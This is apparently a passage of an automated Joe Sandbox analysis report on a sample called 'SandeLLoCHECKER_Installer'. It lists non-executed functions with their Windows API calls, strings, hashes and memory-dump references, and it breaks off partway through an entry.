Opcode ID: a59b8a0774b07fcbe7ea64d0e6d6182da98acf11b28289795b5d5c36a9d5a946
Instruction ID: d3f9492a08c8ac394aecdbd9dddb2b711c551a40e764c89a053df2ecfb63a740
Opcode Fuzzy Hash: a59b8a0774b07fcbe7ea64d0e6d6182da98acf11b28289795b5d5c36a9d5a946
Instruction Fuzzy Hash: 19E0303264023196DF21BB6EBD05BDA275D9F423A0F154135EC1A96491EB20988087A0

Non-executed Functions

Function 009946B0 Relevance: 42.6, APIs: 14, Strings: 10, Instructions: 582filetimeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,C7BA013E), ref: 0099470E

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

CreateFileW.KERNEL32(00B31574,C0000000,00000003,00000000,00000004,00000080,00000000,C7BA013E,00B31550,00B31568,?), ref: 00994810
GetLastError.KERNEL32 ref: 0099482D
OutputDebugStringW.KERNEL32(00000000), ref: 009948A6

Strings

CPU: , xrefs: 00994B47, 00994B5D, 00994C8D
%04d-%02d-%02d %02d-%02d-%02d, xrefs: 00994750
x64, xrefs: 00994A90, 00994A9C
LOGGER->Reusing LOG file at:, xrefs: 00994952, 00994964, 0099496E
workstation, xrefs: 00994A9D
UnkownCPU, xrefs: 00994E93, 00994EA4, 00994EAE
LOGGER->failed to create LOG at:, xrefs: 00994861, 00994873, 0099487D
x86, xrefs: 00994A87
server, xrefs: 00994AA2, 00994AAA
OS Version: %u.%u.%u SP%u (%s) [%s], xrefs: 00994AC6

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Init_thread_footer$CreateDebugErrorFileHeapLastLocalOutputProcessStringTime
String ID: %04d-%02d-%02d %02d-%02d-%02d$CPU: $LOGGER->Reusing LOG file at:$LOGGER->failed to create LOG at:$OS Version: %u.%u.%u SP%u (%s) [%s]$UnkownCPU$server$workstation$x64$x86
API String ID: 207360571-2109833052
Opcode ID: 9dca2e0869c40acbc5448ede220b94a6fcdfc130e06c6b5dd11ce2aaf0db3a06
Instruction ID: b4cc493aaec57f860f4f2e488ae1b643382aef56cda7618ac72f3062a74fbe0d
Opcode Fuzzy Hash: 9dca2e0869c40acbc5448ede220b94a6fcdfc130e06c6b5dd11ce2aaf0db3a06
Instruction Fuzzy Hash: 8F228D71A01209DFEB10DFA8CC45BAEBBB8FF44314F148269E815EB291EB749D41CB91

Function 008556E0 Relevance: 16.9, APIs: 11, Instructions: 416nativememoryCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0085590B
GetWindowLongW.USER32(00000000,000000EC), ref: 0085591B
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 00855926
NtdllDefWindowProc_W.NTDLL(00000000,00000000,00000001,?), ref: 00855934
GetWindowLongW.USER32(00000000,000000EB), ref: 00855942
SetWindowTextW.USER32(00000000,00AAA29C), ref: 008559E1
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00855A16
GlobalLock.KERNEL32(00000000), ref: 00855A24
GlobalUnlock.KERNEL32(?), ref: 00855A78
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00855ADD
NtdllDefWindowProc_W.NTDLL(00000000,00000000,C7BA013E,00000000), ref: 00855B2F

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Window$Long$Global$NtdllProc_$AllocLockTextUnlock
String ID:
API String ID: 3555041256-0
Opcode ID: 0e8484b6aaf060ab80ad705b04db3b6ce1b2ffa4e6cff09dd5d8837a6aa4fbd7
Instruction ID: f3ca04300a6a1d62620fd7d057e4bb4cb4cdb3003eb274be7d824692505714e6
Opcode Fuzzy Hash: 0e8484b6aaf060ab80ad705b04db3b6ce1b2ffa4e6cff09dd5d8837a6aa4fbd7
Instruction Fuzzy Hash: DCE1AE71A0060ADBDB10DF68CC58BAFBBB9FF44721F144229EC15E7291DB759904CBA1

Function 0093F7C0 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 367windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000037), ref: 0093FA49
SendMessageW.USER32(?,00000443,00000000), ref: 0093FAB3
GetDC.USER32(00000000), ref: 0093FAD7
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0093FAE2
MulDiv.KERNEL32(?,00000000), ref: 0093FAEA

Strings

Segoe UI, xrefs: 0093FAC1
NumberValidationTipTitle, xrefs: 0093F835
NumberValidationTipMsg, xrefs: 0093F925

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CapsDeviceMessageSendWindow
String ID: NumberValidationTipMsg$NumberValidationTipTitle$Segoe UI
API String ID: 629137107-2319862951
Opcode ID: 891dc18539d498e0eb458dd89d3ce4e74c8c4f931583d0c778182f7b3c71ff76
Instruction ID: 9dbe53609d3a6ac231f1f171fc6fba75093115b10c7493b8c2ad647cd5db4e41
Opcode Fuzzy Hash: 891dc18539d498e0eb458dd89d3ce4e74c8c4f931583d0c778182f7b3c71ff76
Instruction Fuzzy Hash: 05D1BF31A00609AFEB18CF28CC55BEEB7B5FF89300F108269E559A7291DB746A45CF91

Function 009A4C70 Relevance: 9.2, APIs: 6, Instructions: 196fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00000000,-00000010,?,C7BA013E,?,00000000,00000000), ref: 009A4D41
FindNextFileW.KERNEL32(?,00000000), ref: 009A4D5C

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: FileFind$FirstNext
String ID:
API String ID: 1690352074-0
Opcode ID: 928396005def7ee1e4b13bf2ee1775f0f30d5faac91004381f55a7c0aedbe6a1
Instruction ID: 50e3516cb4a5e8afe185b6668accb251f1c6f8aa901fc6506bd29f62ef72334f
Opcode Fuzzy Hash: 928396005def7ee1e4b13bf2ee1775f0f30d5faac91004381f55a7c0aedbe6a1
Instruction Fuzzy Hash: 3D715C71A01648DFDB10DFA8C948BEEBBB8FF45324F148169E815EB291DB749A04CB91

Function 009444C0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 387fileCOMMON

Download Yara Rule

APIs

GetShortPathNameW.KERNEL32(?,?,00000105), ref: 009445E4
FindFirstFileW.KERNEL32(?,?,?,C7BA013E,?), ref: 0094486C
FindNextFileW.KERNEL32(000000FF,00000010,?,C7BA013E,?), ref: 009449C3
FindClose.KERNEL32(000000FF,?,?,C7BA013E,?), ref: 00944A22

Strings

\\?\, xrefs: 0094457B, 00944596, 0094461C

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Find$File$CloseFirstNameNextPathShort
String ID: \\?\
API String ID: 3979292098-4282027825
Opcode ID: 321abd12051477494f133faddecbdc65fe46111a67d702d4423cf6ba2a5337ad
Instruction ID: a14b26bdb36ee3eb5e94d5516e99e4f099bf884971cba9fc1e543ce6147a50eb
Opcode Fuzzy Hash: 321abd12051477494f133faddecbdc65fe46111a67d702d4423cf6ba2a5337ad
Instruction Fuzzy Hash: 8BF1B170D00259DFDB24DF68CC99BAEB7B4FF44304F108299E419A7291EB74AA84CF91

Function 00A158D7 Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,00A157F3,00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A158D9
GetProcessHeap.KERNEL32(00000008,00000008,00000000,00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A15900
HeapAlloc.KERNEL32(00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A15907
InitializeSListHead.KERNEL32(00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A15914
GetProcessHeap.KERNEL32(00000000,00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A15929
HeapFree.KERNEL32(00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A15930

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Heap$Process$AllocFeatureFreeHeadInitializeListPresentProcessor
String ID:
API String ID: 1475849761-0
Opcode ID: 671a541de4d4941ec9bfdbc7db99e599d31974e8962b05707392d632c44392be
Instruction ID: 1cc9fe07afb035edb1edff77cc03849534f97a4a8a85587fcdb2df4d45115969
Opcode Fuzzy Hash: 671a541de4d4941ec9bfdbc7db99e599d31974e8962b05707392d632c44392be
Instruction Fuzzy Hash: C5F0A435B01601DFD7209FB9ED08F9677B8FB98B52F100039E942C7250EF70D8428660

Function 00960050 Relevance: 7.7, APIs: 5, Instructions: 240fileCOMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 009600A8

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

FindFirstFileW.KERNEL32(?,00000000), ref: 009601A8
FindFirstFileW.KERNEL32(?,00000000,0000002A,?,00000000), ref: 00960245
FindClose.KERNEL32(00000000,?,00000000), ref: 0096026B
FindClose.KERNEL32(00000000,?,00000000), ref: 009602B5

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Find$CloseFileFirstInit_thread_footer$HeapProcess_wcsrchr
String ID:
API String ID: 352340201-0
Opcode ID: db3649c932e17bdbe5a92139056a32f803267061d9d9b97b3e3f1c67e17cfc02
Instruction ID: 495acdffc737ac00f2df4675f5ef44043e03e8470165a88d9a0e18941d9576f2
Opcode Fuzzy Hash: db3649c932e17bdbe5a92139056a32f803267061d9d9b97b3e3f1c67e17cfc02
Instruction Fuzzy Hash: 4971C671A00205DFDB14DF68CC99BAFB7B8FF95324F14862AE825D7281DB749A04CB51

Function 00A2E34A Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A2E3D7

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 9e0b76cd5f3e377c6f2159358687fa5fc72b664d1f100b5c02f00f2f9645654f
Instruction ID: d9282f7cd01a9c9c7f9bd53819cac26c5d0d4ad71d10d83af90d8a1726e880e3
Opcode Fuzzy Hash: 9e0b76cd5f3e377c6f2159358687fa5fc72b664d1f100b5c02f00f2f9645654f
Instruction Fuzzy Hash: D0B13832E042659FDB25CF6CE8817EEBBE5EF55314F14817AE804AB241E235DD81CBA0

Function 008635D0 Relevance: 6.1, APIs: 4, Instructions: 87timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000003,00000001,C7BA013E,?,?,?,?,00A437D4,000000FF), ref: 00863611
GetWindowLongW.USER32(00000003,000000FC), ref: 00863626
SetWindowLongW.USER32(00000003,000000FC,?), ref: 00863638
DeleteCriticalSection.KERNEL32(?,C7BA013E,?,?,?,?,00A437D4,000000FF), ref: 00863663

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: LongWindow$CriticalDeleteKillSectionTimer
String ID:
API String ID: 1032004442-0
Opcode ID: 85c2bc65097087fdbdc0ac8326405f36fcec53058ff39a08c1473e6b452bd473
Instruction ID: 54a2d67f92475cae31f2c89f18c860624454f5161db001fae515cb115b2552b3
Opcode Fuzzy Hash: 85c2bc65097087fdbdc0ac8326405f36fcec53058ff39a08c1473e6b452bd473
Instruction Fuzzy Hash: 8631C070A04646FBCB21CF24CD08B9ABBB8FF15320F144229E824E7791DB71EA15DB90

Function 0098A660 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

GetLocaleInfoW.KERNEL32(?,00000002,00AAA29C,00000000), ref: 0098A6D1
GetLocaleInfoW.KERNEL32(?,00000002,0098A255,-00000001,00000078,-00000001), ref: 0098A70D

Strings

%d-%s, xrefs: 0098A717

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: InfoInit_thread_footerLocale$HeapProcess
String ID: %d-%s
API String ID: 1688948774-1781338863
Opcode ID: 73451e6e4b3003dc5e6d47c84578f9d6d1a90e61fb8dd3d203180f4d61575ed3
Instruction ID: 0cfc63c1f47402980c65f8958b8a1feecbff35c80335a153615054caeedd957a
Opcode Fuzzy Hash: 73451e6e4b3003dc5e6d47c84578f9d6d1a90e61fb8dd3d203180f4d61575ed3
Instruction Fuzzy Hash: E231AD71A00609AFE704DF98CC49FAEBBB8FF44724F104669E115AB291EB719900CB91

Function 0085F850 Relevance: 4.6, APIs: 3, Instructions: 93COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000004), ref: 0085F89E
GetWindowLongW.USER32(00000004,000000FC), ref: 0085F8B7
SetWindowLongW.USER32(00000004,000000FC,?), ref: 0085F8C9

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 4672d844e4c20d0fc2b0e48c54c9193d532ddca76408f4527c996ba67debd8c9
Instruction ID: 58a6541f97f0ea214a32ad9bc03ddbbfb429945edefa31006178fa93e9bf26cd
Opcode Fuzzy Hash: 4672d844e4c20d0fc2b0e48c54c9193d532ddca76408f4527c996ba67debd8c9
Instruction Fuzzy Hash: A0418CB0A00A46EFDB10DF65C908B5ABBB4FF05325F144239E924D7A91DB76E918CB90

Function 008583D0 Relevance: 4.5, APIs: 3, Instructions: 28COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(0000001B,000000FC), ref: 008583E9
SetWindowLongW.USER32(0000001B,000000FC,?), ref: 008583F7
DestroyWindow.USER32(0000001B), ref: 00858423

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Window$Long$Destroy
String ID:
API String ID: 3055081903-0
Opcode ID: 882a92daa93b0cb0c20940c44f3cbf20521691085332990f2774f3ea4178cbcd
Instruction ID: 99c4b4ed5931059fa55bc70286a94711b45d5202f443534a4d3e448b9d815d9d
Opcode Fuzzy Hash: 882a92daa93b0cb0c20940c44f3cbf20521691085332990f2774f3ea4178cbcd
Instruction Fuzzy Hash: 2EF0BD31004A12DBDB715F28ED04F967BE1BF19722F14462DE8AAD25E0DB60A8459B04

Function 008B5450 Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(00000000,000000FC), ref: 008B54BF
SetWindowLongW.USER32(00000000,000000FC,?), ref: 008B54CD

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: c7ee30231e81906061b89443ed90a62f27879d5cf56623c2ca64c2f77e4fdd2c
Instruction ID: e3743907a9695e3f41d5217ee5fae2815589ab37ded54eeea85473c720610027
Opcode Fuzzy Hash: c7ee30231e81906061b89443ed90a62f27879d5cf56623c2ca64c2f77e4fdd2c
Instruction Fuzzy Hash: 8B316D71904A05EFCB20DF69CA44B9AFBB4FF05321F144269E424E77D0DB31AA91CB90

Function 00868BB0 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,-00002000,?,?,00867307,?,?,?,?,?,?,?,?,00867178,?,?), ref: 00868C00

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 63f85adfb0d30733d3b84ac34caeacdebb13f7390948e2f19105dd4345360b1f
Instruction ID: af3f042c74f7c67d5fdb8fb989013e6c0272247a7f69e5b15b06d55d8886b451
Opcode Fuzzy Hash: 63f85adfb0d30733d3b84ac34caeacdebb13f7390948e2f19105dd4345360b1f
Instruction Fuzzy Hash: 98F0A0B4104141DEE3508F14C8A8A69BBB6FB59316F4A47F6E08CC61A0CB35CE80DF30

Function 00856460 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f9a9b53c090ba865043bcdfc14e29686ec797fee7df6294884cc6d0890cd570
Instruction ID: 38588357fc30b173382226d32ecb7af06bcedd39df7d69de756ec7e3a76a8d99
Opcode Fuzzy Hash: 3f9a9b53c090ba865043bcdfc14e29686ec797fee7df6294884cc6d0890cd570
Instruction Fuzzy Hash: 6671F7B1801B48CFE761CF78C94478ABBF0BB05324F144A5DD4A99B3D1D3B9A648CB91

Function 0085F6E0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
